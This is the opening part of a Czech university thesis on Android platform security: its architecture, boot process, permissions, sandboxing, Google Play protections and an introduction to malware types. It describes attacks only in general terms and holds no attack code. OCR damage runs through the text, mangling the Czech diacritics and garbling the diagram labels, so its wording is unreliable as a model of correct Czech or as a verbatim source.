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ABSTRAKT

Prace se zabyva zabezpeCenim mobilni platformy Android se zaméfenim na Skodlivé

a antivirové aplikace.

V teoretické Casti se nachazi popis platformy a jejiho zabezpeceni. Nasleduje popis skodli-
vych aplikaci, ktery obsahuje jejich klasifikaci a zplisoby infikovani, v¢etné ptikladi. V za-
veru teoretické Casti je uveden princip prace antivirovych aplikaci doplnény o popis vybra-

nych produkti a jejich srovnani.

Prakticka ¢ast se vénuje analyze skodlivych a antivirovych aplikaci na redlném zafizeni. Na-
chazi se v ni seznam pouzitého softwaru, véetné odkazl ke stazeni a navodu k jejich insta-
laci, konfiguraci a spusténi. Déle je zde uveden postup analyz nasledovany prezentaci vy-
sledk testu tfi Skodlivych aplikaci. V zavéru praktické ¢asti se nachazi test péti antivirovych

aplikaci, zasady prevence proti infikovani zafizeni a zpisoby odstranéni malwaru.

Kli¢ova slova: Android, kyberneticka bezpecnost, Skodlivé aplikace, antivirové aplikace, re-

verzni inzenyrstvi, analyza aplikace, monitoring provozu zafizeni, prevence.

This thesis deals with security of Android mobile platform with focus on malware and anti-

malware applications.

In the theoretical part, there is firstly described the architecture and means of security of the
Android platform. This is followed by description of malware applications, which include
its classification and ways of infection. In the end of the theoretical part is described, how
anti-malware applications works, completed with description of some of the products inclu-

ding their comparison.

The practical part is dedicated to practical analysis of malware and anti-malware applia-
ctions. This include a list of all used software with instructions to their installation, con-
figuration and usage, followed by directions on malware analysis using a real device.
Furthermore there are tests of three malware and five anti-malware appliactions completed

with means of prevention and ways of deleting malware from device.

Keywords: Android, cybersecurity, malware, anti-malware, antivirus, reverse engineering,

application analysis, system traffic monitoring, prevention.
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UvVOoD

Mobilni zafizeni zazily za poslednich n¢kolik let rapidni rozvoj a v dnesni dobé ma uz témet
kazdy clovek alespon jedno chytré zafizeni. Nejpopularnéjsi platformou pro tyto zatizeni se
stal Android, ktery v soucasnosti drzi v tomto segmentu 70 % podil. Popularitu si ziskal
zejména diky moznosti volné upravy systému, coz je zaroven jeho nejvétsi slabinou, a proto
je dnes 99 % skodlivych aplikaci na mobilnich zafizenich zaméteno pravé na tuto platformu.
Mobilni zatizeni (zejména chytré telefony) jsou pro Gtocniky velmi lakavym cilem, protoze
shromazd’uji velké mnozstvi citlivych dat, kterd se daji snadno zneuzit. Momentaln¢ je
znamo piiblizné¢ 8 milidont Skodlivych aplikaci a kazdy mésic se objevuje dalsich 300 tisic
novych. Proto neustale stoupa nutnost zafizeni a data v nich ulozena efektivné chranit.
K tomu je vSak tieba znat zptsob, jakym Skodlivé aplikace pracuji, jak tyto Skodlivé ¢innosti

rozpoznat a zabranit v jejich provedeni.

Cilem této prace je prozkoumat, jak je platforma zabezpecena a jak funguji Skodlivé a anti-

virové aplikace za pouziti volné dostupnych softwarovych nastrojti a redlného zatizeni.

Pti teoretickém rozboru platformy budou popsany zplsoby, jakymi je feSeno jeji zabezpe-
¢eni jak z hlediska systému a aplikaci, tak i1 z hlediska moznosti uzivatelského zabezpeceni.
Dale budou popsany zptisoby, jakymi mize dojit k infikovani zafizeni Skodlivymi aplika-
cemi, jejich déleni a princip ¢innosti. Ke v§em Skodlivym aplikacim budou uvedeny ptiklady
realnych aplikaci a tfi z nich budou pozdéji v praktické ¢asti pouZity k analyze. V zavéru
teoretické ¢asti bude popsan princip antivirovych aplikaci, véetné popisu a srovnani péti vy-

branych produkti, které budou prakticky otestovany.

Analyzy v ramci praktické ¢asti budou provadény podle redlnych analyz, které zpracovavaji
antivirové spolecnosti s dirazem na vysvétleni v§ech postupti. Cilem tohoto pfistupu je, aby
mohly byt pokusy opakovatelné, slouzily k vysvétleni zdkladnich zpiisobt analyz aplikaci
a provozu zafizeni a aby bylo mozné na zaklad¢ prace pokracovat v dalSim prohlubovani
znalosti. Z téchto diivodi budou pouzivany vyhradné volné dostupné aplikace, které umoz-
fuji provadeét testy v domacim nebo Skolnim prosttedi. Pfi analyzach budou pouzity techniky
reverzniho inZenyrstvi aplikaci a monitorovani provozu zafizeni, véetné internetové komu-

nikace.
Soucasti praktické ¢asti bude i test vybranych antivirovych aplikaci, ktery ma ur¢it, jak spo-
lehliva je jejich ochrana. Déale budou stanoveny zasady prevence urcené pro uzivatele a zpi-

soby, jakymi je mozné skodlivé aplikace ze zatizeni odstranit.
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I. TEORETICKA CAST
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1 ZABEZPECENI PLATFORMY ANDROID

Platforma Android je v soucasnosti nejpopularnéjs$im opera¢nim systémem pro mobilni za-
fizeni. Systém vychazi z linuxového jadra upraveném na miru pozadavkim platformy. Za-

bezpeceni je feSeno na tfech Grovnich — systémové, aplikacni a uzivatelské.

1.1 Platforma Android

Android je oznacenim operacniho systému, ktery byl vyvinut spolecnosti Google pro zafi-
zeni s dotykovym ovladanim jako jsou chytré mobilni telefony (tzv. smartphony) nebo tab-
lety. S dal§im vyvojem pod vedenim Googlu se jeho pouziti rozsitilo na chytré televize a ho-
dinky, laptopy (tzv. netbooky), automobily a dalsi ,,chytrou* elektroniku. Android dominuje
segmentu smartphonti a tableti kde drzi 70% podil [7]. Popularitu si ziskal zejména diky
zptistupnéni vétSiny zdrojového kodu pod svobodnou softwarovou licenci Apache 2.0. Ta

umoziuje kazdému vyrobci volné€ systém upravovat podle svych potieb.

1.1.1 Architektura

Operacni systém Android se sklada ze Ctyt vrstev bézicich nad sebou. Slozeni jednotlivych

vrstev je naznacené na schématu €. 1:

APLIKACE

Native Android apps Third Party apps

APLIKACNi FRAMEWORK

Activity Manager Window Manager XMPP Service
Location Manager Package Manager Content Providers View System

KNIHOVNY

sae ) waiki _J operdies Ancrcid Rutime
Free Type Surface Manager Media Framework
.

LINUXOVY KERNEL

Process Management Power Management Memory Management

Schéma 1: Slozeni vrstev OS Android [4] (upraveno)
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Linuxovy kernel: Kernel je jadro opera¢niho systému a zprostiedkovava komunikaci mezi
hardwarem a s dalSimi vrstvami. Je prvnim programem, ktery se spousti pii startu systému.
Obsahuje ovladace (drivery), které zprostiedkovavaji komunikaci mezi hardwarovymi kom-
ponenty (napi. procesor, displej nebo komunika¢ni moduly). Jeho dalSimi funkcemi jsou
sprava napajeni, paméti a procest. Kazda verze Androidu pracuje na jiné verzi kernelu. Li-
nuxovy kernel byl vybran zejména kviili své nenaro¢nosti, spolehlivosti a vysoké trovni

zabezpeceni.

Knihovny: B¢Zi nad linuxovym kernelem a obsahuji kody (tiidy, procedury, skripty atd.)
napsané v programovacim jazyce C nebo C++. Tyto kody vyrazné usnadiuji programovani
aplikaci a pomahaji zafizeni zpracovavat rizné druhy dat. Dllezitou soucasti knihoven je
Dalvik virtual machine (DVM), ktery je zodpovédny za vykondvani ¢innosti aplikaci.
DVM je virtualni zatizeni, které se chova jako samostatny operacni systém. Pouziva se kvili
zlepSeni kompatibility a optimalizace aplikaci, protoze je jejich koéd zkompilovan ve virtu-
alnim systému a muze tak fungovat nezavisle na hardwaru zafizeni. DVM zpracovava tzv.
bajtkod' ve forméatu Dalvik. Ten je vytvoreny nejdiive zkompilovanim zdrojového kodu
aplikace napsaném v programovacim jazyce Java, ktery je néasledné pfeveden do bajtkodu
Dalvik. O ptevod se stara Dex kompildtor. DVM byl ve verzi 5 nahrazen systémem Android
Runtime, ktery pracuje stejné, ale pouziva jiny typ kompilace kodu, diky kterému se snizuje

vyuZiti procesoru.

Zdrojovy Dalvik

L‘;J;)Vy Kompilator Bajtkod Dex Bajtkod Vi:ltL\J/Ia|
AVA kompil3 DALVIK

[JAVA] LAVA] ompilator [ ] machine

Schéma 2: Proces vytvoreni bajtkodu Dalvik (zdroj: viastni)
Aplikaéni framework: Stard se o beh a spravu aplikaci. Obsahuje sluzby zprostiedkovava-
jici mnoho dilezitych funkci, jako jsou napt. Content Providers, které umoziuji aplikacim

navzéjem sdilet data nebo Location Manager, ktery poskytuje ptistup ke geografické poloze.

! Bajtkod (bytecode): Objektové orientovany programovaci kod, ktery je zkompilovan ke spusténi na virtual-
nim zafizeni. To pfevadi kod programu do strojového jazyka procesoru. Diky tomu mize bajtkod fungovat
nezavisle na platformé [8].
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Aplikace: Aplikacni vrstva je posledni vrstvou operacniho systému a obsahuje aplikace,

s kterymi pfichazi uzivatel do styku.

1.1.2 Bootovaci sekvence

Bootovani je proces odehravajici se mezi zapnutim zatizeni a spusténim operacniho sys-
tému. Jeho ukolem je zavést kod systému do paméti a spustit ho. Na platformé Android

probihé bootovaci sekvence v Sesti krocich, které jsou zobrazeny na schématu ¢. 3.

Boot ROM
Inicializace HW Vyhledani bootovaciho média Zkopirovani bootloaderu do RAM
Bootloader
Konfigurace RAM Inicializace SW (virtualni pamét, souborovy systém, konzole, ...) Zkopirovani kernelu do RAM

Linuxovy kernel

Inicializace cache a spravy paméti Spusténi prostfedi pro procesy Spusténi inicializatniho procesu

InicializaCni proces

Spusténi dalSich systémovych procesl Konfigurace systémovych parametrd

Zygote a Dalvik

Inicializace virtualnich strojl Sprava paméti mezi virtulnimi stroji

Systémovy server

Inicialziace kli€ovych funkci (volani, poloha, ...)

Schéma 3: Bootovaci sekvence (zdroj: viastni)

Boot ROM

Po zapnuti zatizeni se jako prvni spousti kod Boot ROM. Tento kdd je specificky pro kazdy

typ procesoru a ma dvé funkce:

1. Inicializaci hardwaru a nalezeni bootovaciho média (bootloaderu).

2. Zkopirovani obsahu média do RAM a spusténi.
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Bootloader

Primarnimi funkcemi bootloaderu jsou uchovavani dat o opera¢nim systému a jeho zavedeni

do RAM. To je provadéno ve tfech fazich:

1. Konfigurace RAM.

2. Zkopirovani vlastniho kédu do paméti a spusténi — pfi tomto kroku je mj. mozné se
dostat do jinych bootovacich rezimt (viz. dale) a inicializuje se napft. konzole, virtu-
alni pamét’, hodiny nebo souborovy systém.

3. Po GspéSném vykonani kédu vyhleda bootloader kernel. Ten je uloZzen v samostat-
ném oddilu spolecné s operacnim systémem a spolecné se oznacuji jako Android

ROM. Po nalezeni kernelu ho bootloader zkopiruje do RAM a spusti.

Do jinych bootovacich reziml je mozné se dostat stisknutim kombinace tlacitek (nejcastéji
soucasnym stiskem tlacitka zesileni nebo zeslabeni zvuku a vypinaciho tlacitka) nebo ptika-

zem z konzole. Nejcasteji implementovanymi rezimy jsou:

e Recovery mod: Pouziva se k aktualizaci opera¢niho systému, testovani hardwaro-
vych komponentli nebo k vymazani uzivatelskych dat (tzv. tovarni nastaveni). Pte-
chod do tovarniho nastaveni se provadi prostiednictvim obrazu tovarni konfigurace
systému, ktery je ulozen v samostatném oddilu nazyvaném stock recovery.

e Nouzovy méd: V tomto rezimu je systém spustén pouze s aplikacemi, které jsou
ulozeny v recovery oddilu.

e Fastboot méd: Je urcen k zapisu dat do flash paméti zatizeni prostfednictvim USB
spojeni s pocita¢em. Diky tomu je mozné napi. odemknout bootloader a nahrat do

néj jinou verzi recovery (oznacuji se jako custom) nebo aktualizovat systém.

Bootloader tvofi diilezity bezpe€nostni prvek a je z vyroby zamceny. Na zatizeni se zamce-
nym bootloaderem neni mozné nainstalovat upraveny opera¢ni systém, protoze ho bootloa-
der odmitne nacist. Identifikace systému pfii instalaci se provadi pomoci zasifrovanych klict.
Slozitost odemceni bootloaderu se li$i v zavislosti na vyrobci, nékteti ho umoziuji oficialni

cestou a jini viibec.
Kernel

Po nacteni kernelu dochazi k inicializaci jednotek pro spravu paméti a cache paméti. Diky
nim miZze systém pouZzivat virtudlni pamét’ a spustit prostiedi pro procesy. Nasledné kernel

vyhleda na bootovacim médiu inicializacni proces a spusti ho.
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Inicializa¢ni proces

Inicializa¢ni proces je prvnim procesem, ktery je spoustén. Je to nejvySe postaveny proces
(tzv. root) a jeho hlavnim tkolem je spusténi dalSich systémovych procesti. Mimo to obsa-
huje dalsi parametry, které jsou potiebné ke spusténi systému. V tomto kroku je na displeji

zatizeni zobrazeno logo Androidu.

Zygote a Dalvik

Tato faze bootovani je zodpovédna za spusténi virtualnich stroji. Zygote je fidicim proce-
sem, ktery vytvari ke kazdému procesu vlastni instanci DVM a stard se o sdileni dat mezi
nimi.

Systémovy server

Systémovy server spousti vSechny dilezité funkce zatizeni jako jsou pfipojeni k siti, sprava
hovort, senzory atd. Jakmile jsou vSechny funkce spustény, vysle o tom server zpravu vSem

procesiim a na zafizeni se zobrazi domovska obrazovka.

1.1.3 Souborovy systém

Android pouziva Unixovy? souborovy systém, ktery ma hierarchickou stromovou strukturu
a jehoz vrchol je znacen pouze znakem / (byva oznaCovan jako root). Nejdulezitéj-
Simi slozky jsou uvedeny a popsany v tabulce €. 1.

vvvvvv

Nézev slozky Popis

/boot data potiebna ke spusténi zafizeni, kernel a ulozisté pro RAM
/system systémova data, kterd nejsou ve sloZce boot

/recovery zélozni data tovarniho stavu zatizeni

/data data aplikaci

/cache &asto pouzivana data

/misc informace o nastavenich

/sdcard obsah pamét'ové SD karty

2 Unix: Oznaleni operacnich systémi zaloZzenych na piivodnim opera¢nim systému AT&T UNIX. Do této
skupiny patii mj. Linux nebo OS X [11].
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1.1.4 Verzovani

Prvni komer¢ni verze Androidu byla vydana v roce 2008. Doposud bylo vydano 15 verzi
a posledni vysla na konci roku 2017 pod kddovym nazvem Oreo. Kazda verze ma jiny level
API? a kromé prvnich dvou jsou vechny pojmenovany kddovym oznacenim. Ptehled verzi,

koédovych nazvi, kernelt a API je uveden v tabulce €. 2.

Tabulka 2: Prehled verzi Androidu [9]

Cislo verze | Kodové oznadeni Meésic a rok vydani | Verze kernelu API
1.0 - 9/2008 2.6.25 1

1.1 - 2/2009 2.6.26 2

1.5 Cupcake 4/2009 2.6.27 3

1.6 Donut 9/2009 2.6.29 4
2.0-2.1 Eclair 10/2009 2.6.29 5-7
2.2-2.23 | Froyo 5/2010 2.6.32 8
2.3-2.3.7 | Gingerbread 12/2010 2.6.35 9-10
3.0-3.2.6 | Honeycomb 2/2011 2.6.36 11-13
4.0-4.0.4 | Ice Cream Sandwich | 10/2011 3.0.1 14-15
4.1-43.1 | Jelly Bean 7/2012 3.0.31/3.4.0/3.4.39 | 16-18
44 -444 | KitKat 10/2013 3.8 19 - 20
5.0-5.1.1 | Lollipop 12/2014 3.16.1 21-22
6.0 —6.0.1 | Marshmallow 10/2015 3.18.1 23
7.0-7.1.2 | Nougat 8/2016 44.1 24 -25
8.0-8.1 Oreo 8/2017 4.10 26-27

Proces aktualizace zatizeni na novéjsi verze systému probiha bohuzel pomalu. Je to zptso-
beno zejména tim, Ze jsou za n€ zodpovédni piimo vyrobci zatfizeni, kteti musi zajistit nejen
distribuci aktualizaci, ale 1 ipravu vlastni nadstavby nad systémem. Tento proces je finan¢né
mén¢ uspeésné mnohdy zlistanou zcela bez moznosti oficidlni aktualizace. V soucasnosti maji
nejvetsi zastoupeni verze 6, 7 a 5; zatimco posledni verzi 8 pouzivéa pouze 0,7 % zatizeni.
Kompletni rozdéleni verzi ziskané méfenim piistupit do obchodu Play vyvojaii Googlu

z 1.—8.1.2018 je uvedeno v tabulce ¢. 3 [10].

3 Application Program Interface: Soubor rutin, protokoll a nastrojii uréenych ke tvorbé softwarovych apli-
kaci [12].



UTB ve Zliné, Fakulta aplikované informatiky 17

Tabulka 3: Podil verzi OS Android [10]

Cislo verze Kodové oznaceni Podil na trhu
6.0-6.0.1 Marshmallow 28,60%
7.0-7.1.2 Nougat 26,30%
50-5.1.1 Lollipop 25,10%
44-444 KitKat 12,80%
4.1-43.1 Jelly Bean 5,60%
8.0-8.1 Oreo 0,70%
40-4.04 Ice Cream Sandwich 0,50%
23-23.7 Gingerbread 0,40%

1.1.5 Aplikace
Aplikace je mozné rozdélit z hlediska operac¢niho systému na:

= Systémové: Jsou na zafizeni pfedinstalované od vyrobce. Tyto aplikace neni mozné
uzivatelsky odinstalovat a patii mezi né€ napf. prohlize¢, e-mailovy klient, bu-
dik apod.

= Aplikace tietich stran: Aplikace, které si do zafizeni nainstaloval sdm uzivatel.
Dale je aplikace moZzné rozdé€lit z hlediska vyvoje na:

* Webové: Pracuji ve webovém prohliZeci a k jejich vyvoji se pouzivaji webové tech-
nologie jako JavaScript nebo HTML.

= Nativni: Tyto aplikace jsou vyvinuty pfimo pro syst¢ém Android a diky tomu je
mozné je daleko 1épe optimalizovat a ptizplisobit vlastnostem platformy.

* Hybridni: Kombinuji vlastnosti nativnich a webovych aplikaci — aplikace je v zafi-

zeni spusténa jako nativni, ale je napsana pomoci webovych technologii.

K programovani aplikaci se pouziva jazyk Java a jsou distribuovany ve formatu Android
Application Packages (APK). Souc¢éasti APK souboru jsou soubory a slozky uvedené v ta-

bulce ¢. 4.
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Tabulka 4: Popis obsahu APK souboru (zdroj: vlastni)

Slozka/soubor Popis
assets aktiva aplikace
_ zkompilovany kéd, ktery je specificky pro rizné typy
Tib procesortl
META-INF certifikaty a manifest soubor obsahujici metadata
s zdrojova data, ktera nejsou obsazena v souboru

resources.asc

AndroidManifest.xml

obsahuje kompletni vypis vSech funkei, opravnéni a dalsi

dulezité informace o aplikaci

classes.dex

zkompilovany spustitelny soubor ve formatu Dalvik

resources.arsc

pfedkompilované zdrojova data aplikace

Komponenty

Aplikace se skladaji ze ¢tyt zakladnich komponentt:

Activity: Jsou soucasti uzivatelského prostiedi a uZivatelé s nimi pfimo pracuji. Jde na-
ptiklad o akci vytoceni tel. ¢isla nebo odeslani SMS.

Broadcast Receiver: Pfijima¢ broadcastovych* zprav umoziujici aktivaci aplikace podle
urcité ¢innosti zafizeni, 1 kdyZ neni sama spuSténa. Mezi tyto ¢innosti patii naptiklad do-
konceni bootovani nebo ptipojeni sluchatek.

Service: SluZby, které nejsou soucasti uzivatelského prostiedi a umoziuji implementaci
dlouhotrvajicich operaci, které bézi na pozadi systému. Sluzbou je naptiklad ptehravani
hudby pii zavieném uzivatelském prostiedi aplikace prehravace.

Content provider: Tento komponent slouzi jako poskytoval obsahu mezi aplikacemi.

KdyZ chcee aplikace sdilet data s jinou aplikaci, odesle dotaz na ptislu§ného poskytovatele

obsahu, ten ovéfi, zda-li ma k takové akci opravnéni a pokud ano, tak data zpracuje.

4 Broadcast: Typ pienosu dat v poéitadovych sitich, pti kterém je zprava ptijata vSemi prvky v siti [13].
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1.2 Zabezpeceni operacniho systému

Zabezpeceni systému je realizovano na urovni kernelu, ktery je sdm o sob¢ dobie zabezpe-
¢en. Vyvojafi Androidu do n¢j navic piidali dalsi prvky, diky kterym systém zabezpeceni

pfizpusobili pozadavkiim mobilni platformy. Klicovymi funkcemi jsou:

e Model autorizace opravnéni.

e Sandbox.

e Zabezpeceni komunikace mezi procesy.
e Security-Enhanced Linux.

e Zamek root uctu.

1.2.1 Model autorizace opravnéni

Kazda aplikace musi deklarovat, které prosttedky bude vyuzivat a vyzadat si k nim pfistup.
Uzivatel je pfi instalaci seznamen s rizikovymi opravnénimi, ke kterym chce aplikace ziskat
pristup a mize se rozhodnout, jestli instalaci povoli nebo ne. Diky tomu je mozné odhalit
nekteré potencialné Skodlivé aplikace — napt. kdyz aplikace, kterd mé ovladat prisvétlovaci

diodu pozaduje pfistup k seznamu kontaktt.

Vsechny prostfedky musi byt deklarovany v souboru AndroidManifest.xml, ktery je nezbyt-
nou soucasti kazdé¢ aplikace. Pokud vyvojar néjaky prostfedek neuvede, systém k nému au-

tomaticky aplikaci zakaZze ptistup.

Do Sesté verze Android umozioval schvéleni opravnéni pouze jako celku pfi instalaci apli-
kace, ktera se pfi zamitnuti nenainstalovala. Od verze 6 uZz je mozné udélovat opravnéni
jednotlive a také je mozné povoleni zpétne odebrat. Uzivatelé tak mohou aplikaci nainstalo-

vat a v omezené mife i pouzivat bez udéleni vSech opravnéni.
Opravnéni jsou rozdelena do Ctyf Grovni:

1. Normalni: Opravnéni s nejmensi mirou rizika, kterd nijak neohrozuji ostatni apli-
kace, systém nebo uzivatele. Povoleni je udéleno automaticky bez zasahu uzivatele.

2. Nebezpecné: Opravnéni ohrozujici systém, ostatni aplikace nebo uzivatele. K jejich
udéleni musi dat souhlas uZivatel.

3. Podepsané: Tato opravnéni jsou automaticky schvalena na zékladé certifikatu pode-
psaného jinou aplikaci, které uz byl pfistup udélen. To umozinuje sdileni dat mezi

propojenymi aplikacemi.
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4. Podepsané systémem: Tato tiroven je pridélena pouze aplikacim, které jsou ulozeny
v systémové image nebo jsou podepsany stejnym certifikatem jako aplikace, kterym

uz byl pristup ptidélen.

1.2.2 Security-Enhanced Linux

Security-Enhanced Linux (SELinux) je zabezpecovaci modul, ktery dopliuje model autori-
zace pristupu. Poprvé byl ptredstaven ve verzi 4, kdy byla pouze experimentalni, ale od

5. verze se stal nedilnou soucasti kazdé verze Androidu.

Do zavedeni systému SELinux pouzival Android politiku diskrétniho fizeni ptistupu.
V tomto konceptu ovlada ptistup k datim jejich vlastnik a sam se rozhoduje, komu k nim
povoli pfistup. V praxi to znamenalo, ze povoleni k pfistupu udéloval uzivatel. S implemen-
taci SELinux byl zaveden novy koncept mandatorniho fizeni ptistupu. Ten naopak pracuje
na principu centralni autority, kterd se stara o ptidélovani a spravu piistupovych prav. Vy-
hodou mandatorniho fizeni je, ze i kdyz uzivatel nainstaluje skodlivou aplikaci, tak ta ne-

muze ziskat vétsi opravnéni a poskodit systém nebo zatizeni.

1.2.3 Sandbox

Izolace procesti neboli tzv. sandbox je zaloZeny na linuxovém uZivatelském ochranném mo-
delu. V ném je kazdému uzivateli pfidélen unikétni identifikator (UID). Podle né&j jsou uzi-
vatelé rozd¢€leni, aby si navzdjem nemohli pfistupovat ke svym datim. Vyvojaii Androidu
tuto funkci vyuZili pro zabezpeceni aplikaci. Kazd¢ aplikaci je pfifazeno UID a bézi v sa-
mostatném procesu. To znamend, ze i kdyZ chce aplikace provést nebezpecnou Cinnost,
muze ji provést jen ve vlastnim kontextu a s opravnénimi, které ma. Standardné aplikace
nemohou ¢ist nebo ménit data ostatnich aplikaci a maji omezeny pfistup k systému. Diky

tomu, Ze je sandbox implementovan na Urovni kernelu vztahuje se i na nativni aplikace.

1.2.4 Zabezpeceni komunikace mezi procesy

O prenaseni komunikace mezi procesy se stard systém Binder, ktery je postaven na sitové
architektufe klient/server. Binder také poskytuje jednotné rozhrani mezi procesy a mohou

diky nému vzdalené procesy pracovat jako by byly lokalni.

Kazdému procesu v Binderu je pfifazen unikétni 32 bitovy token. O pfifazovani tokent se
stard context manager (CM), ktery funguje podobné jako DNS server. Kazdy proces je za-

registrovany v CM a pokud potifebuje komunikovat s jinym procesem, staci mu znat pouze
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jeho nazev a zeptat se na n¢j CM. Ten mu zpét posle bezpecnostni token spolecné s adresou
pozadovaného procesu. Binder pak piidé ke kazdé komunikaci UID klienta spole¢né s jeho
bezpecnostnim tokenem. Diky tomu muze cilovy proces (server) klienta spolehlivé identifi-

kovat.

aplikatni vrstva kermel framewark aplikaéni vstva

pmmma CONTEXT
MANAGER

PROCES A BINDER PROCES B

(klient) (server/sluzba)

Schéma 4: Komunikace mezi procesy [4] (upraveno)

1.2.5 Zamek root uctu

Pojmem root se v linuxovych systémech oznacuje et s nejvysSimi uzivatelskymi pravy.
Miize napt. voln¢€ upravovat vSechny soubory a sluzby nebo meénit pfistupova prava apli-
kaci apod. To pfedstavuje velké bezpecnostni riziko, a proto je témét u vSech zatizeni piistup

k tomuto Uc¢tu zakdzan vyrobcem.

Ptistup k u¢tu je mozny ziskat provedenim tzv. rootu. Toho Casto vyuZzivaji uZivatelé
zejmeéna za ucelem instalace neoficidlnich ROM nebo specializovanych aplikaci, které ke
své ¢innosti vyzaduji administratorska prava. Slozitost rootu zafizeni zavisi na bootloa-
deru — pokud je odemceny, je ho moZzné provést snadno prostfednictvim aplikace. Diky této
skute€nosti mohou proveést root 1 Skodlivé aplikace a ziskat tak administratorsky ptistup
k systému. Pokud je bootloader zamceny, je tfeba najit a zneuzit n¢jaky bezpecnostni nedo-

statek zafizeni.
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1.3 Zabezpeceni aplikaci

1.3.1 Google Play

Google Play je oficidlni digitalni obchod s aplikacemi pro platformu Android. K prosinci
2017 v ném bylo nabizeno 3,5 miliona aplikaci [14]. Google uvadi, Ze se jim dafi zachytit
99 % Skodlivych aplikaci jesté diiv, nez si je kdokoli nainstaluje [15]. O nezdvadnost nabi-

zenych aplikaci se staraji dva systémy:

1. Google Play Protect: Jde pfedevsim o antivirovy program, ktery hleda skodlivé apli-
kace nejen v obchodu Play, ale i na samotnych zafizenich. Diky kombinaci dat
z mnoha zafizeni je systém schopny rychleji odhalovat hrozby a minimalizovat

S$kody. Ke zpracovani dat se pouzivé strojové uceni’

a systém je tak schopny za den
zkontrolovat az 50 miliard aplikaci. Mezi jeho dalsi funkce patii zabezpeceni prohli-
zeni webovych stranek v prohlize¢i Chrome nebo lokalizace zatizeni.

2. Schvalovani aplikaci: Kazda aplikace, ktera ma byt umisténa v obchodu prochézi
schvalovacim procesem. V ném se mimo bezpec¢nosti aplikace posuzuje 1 jeji obsah
(napf. sexudlni tématika, hazard, nésili apod.). Do konce roku 2015 byl tento proces
zcela automatizovany, coz ho sice vyrazné urychlovalo, zaroven vSak dochazelo

k mnoha chybam. Proto se Google rozhodl zapojit do procesu schvalovani 1 lidské

experty [17].

1.3.2 Podpisy aplikaci

Kazdé aplikace musi byt digitaln¢€ podepsana kvili identifikaci vyvojare. Ti pouzivaji vyge-
nerovany privatni digitalni kli¢ k aktualizaci aplikace, ke sdileni dat s jinymi aplikacemi

apod. Certifikat nevydava Zadna centralni autorita, ale generuje ho vyvojat aplikace.

3 Strojové uceni: Disciplina z oboru umélé inteligence, ktera se zabyva moznosti po¢itacii zvladat nové situace
pomoci analyz, sebevzdélavani, pozorovani a zkusenosti [16].
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1.4 Uzivatelské mozZnosti zabezpeceni

1.4.1 Zamek instalace aplikaci z neznamych zdroji

Cilem tohoto zabezpeceni je zabranit uzivateli v instalaci aplikaci z jinych zdroji nez z ofi-
cidlniho obchodu Play. Zamek je standardné zapnuty a miize ho vypnout pouze uzivatel

v nastaveni.

1.4.2 Sifrovani dat

Od verze 5 je mozné zaSifrovat vSechna uZzivatelska data symetrickym kli¢em. Jakmile je
zafizeni zasifrovano, jsou i vS§echna nova data automaticky Sifrovana. Uzivatel si pted zaSif-
rovanim zvoli kod, ktery pak musi pii kazdém bootu zadat. Od verze 7 je navic mozné za-

Sifrovat jednotlivé soubory riznymi klici.

1.4.3 Zamek displeje

Uzivatelé mohou nastavit zamek displeje v podobé ¢isla, textového fetézce, vzoru, otisku
prstu nebo snimku oblic¢eje. Cilem zamku je zabranit v ptistupu k zafizeni neopravnénym
osobam. Zamek je mozné odemknout 1 jinymi sparovanymi zatizenimi (napf. chytrymi ho-
dinkami, s kterymi pak zafizeni komunikuje pomoci technologie Bluetooth nebo NFC a po-

kud jsou nablizku, tak se zafizeni odemkne).
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2 MALWARE

Malware piedstavuje nejvétsi bezpecnostni riziko, ohrozujici platformu Android. Diky po-
pularité a rozmanitosti platformy je dnes ptes 99 % Skodlivych aplikaci na mobilnich zafi-
zenich zaméteno praveé na ni a v drtivé vétsin€ si malware do zatizeni nainstaluji sami uzi-
vatele. Mobilni zafizeni pfedstavuji pro uto¢niky velmi zajimavy cil, protoze neustale za-

znamenavaji a uchovavaji mnoho citlivych dat, ktera se daji velmi snadno zneuzit.

2.1 Definice

Vyraz malware vznikl spojenim slov malicious software, coz v piekladu znamena Skodlivy
software. Jak uz nazev napovida, jde o software, jehoz tcelem je uskodit poc¢itatovému sys-
tému. Muze byt ve formé tzv. ¢erva, trojskych ko, spyware, adware, rootkiti apod. Cilem
malwaru mtize byt napiiklad kradez nebo smazani dat, poptipad¢ i zaSifrovani dat a pozado-
vani vykupného (tzv. ransomware), instalace dalSich aplikaci bez védomi uZivatele, posilani

prémiovych sms® nebo i poskozeni zafizeni.

2.2 Malware na platformé Android

Prvni malware na platform¢ Android byl objeven v srpnu 2010. Dostal nazev FakePlayer
a Slo o trojského koné, ktery se maskoval jako prehravac videa. Po instalaci se aplikace sna-

zila odeslat sms zpravy na prémiova Cisla [18].

Od t¢ doby si Android ziskal velkou pozornost hackerti a v soucasnosti je ptes 99 % malwaru
na mobilnich platformach zaméfeno pravé na néj. To je zapfi¢inéno zejména oblibenosti
platformy, ale také mnohymi bezpecnostnimi nedostatky, ozna¢ovanymi jako zero-day ex-
ploits’. I piesto, Ze jsou tyto chyby odhaleny vyvojafi a je vyddna opravna aktualizace, tak
jejich distribuce na ohrozena zatizeni probihd velmi pomalu. Navic diky individudlnim tpra-
vam operacniho systému vyrobci mohou mit rizné zatfizeni své vlastni specifické bezpec-
nostni nedostatky. Dosud nejvétsi mnozstvi chyb tohoto druhu bylo objeveno v ¢ervnu 2016,

kdy bylo odhaleno 9 217 slabin napfi¢ vSemi verzemi Androidu [20].

6 Prémiova sms: Typ sms zpravy, u které je uttovana cena jina (zpravidla vyssi), neZ je b&Znd cena zpravy
uctovana operatorem.

7 Zero-day exploit: Hrozba zneuZivajici zranitelnosti po¢itatového systému, o které vyvojafi ani uzivatelé ne-
veédi [19].
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V roce 2016 bylo podle dat némecké spolecnosti G Data, zabyvajici se IT bezpecnosti,
znamo priblizné 8,3 milioni malwarovych aplikaci a kazdy mésic pfibyva v priméru dalSich
330000 [21]. Laboratote Kaspersky, které monitoruji malwarové utoky, namétily mezi roky
2016 a 2017 5,5 miliona nainstalovani Skodlivych aplikaci [22]. Drtivou vétSinu malwaru,
ptes 99 % v roce 2016 podle méfeni institutu AV-TEST, tvoftily trojské koné [20]. Soucas-

nym trendem je vzristajici poCet ransomware utoki.
2.3 Klasifikace

2.3.1 Trojan Horse

Trojan Horse neboli Trojsky kin je Skodlivy software, jehoz pritomnost a ¢innost je uzivateli

skryta a ktery svou Skodlivou funkci maskuje jinou funkei. NejrozsifenéjSimi typy jsou:

Trojan-Spy: Trojan urceny ke sledovani systému. M4 Siroké pole piisobnosti — od key-
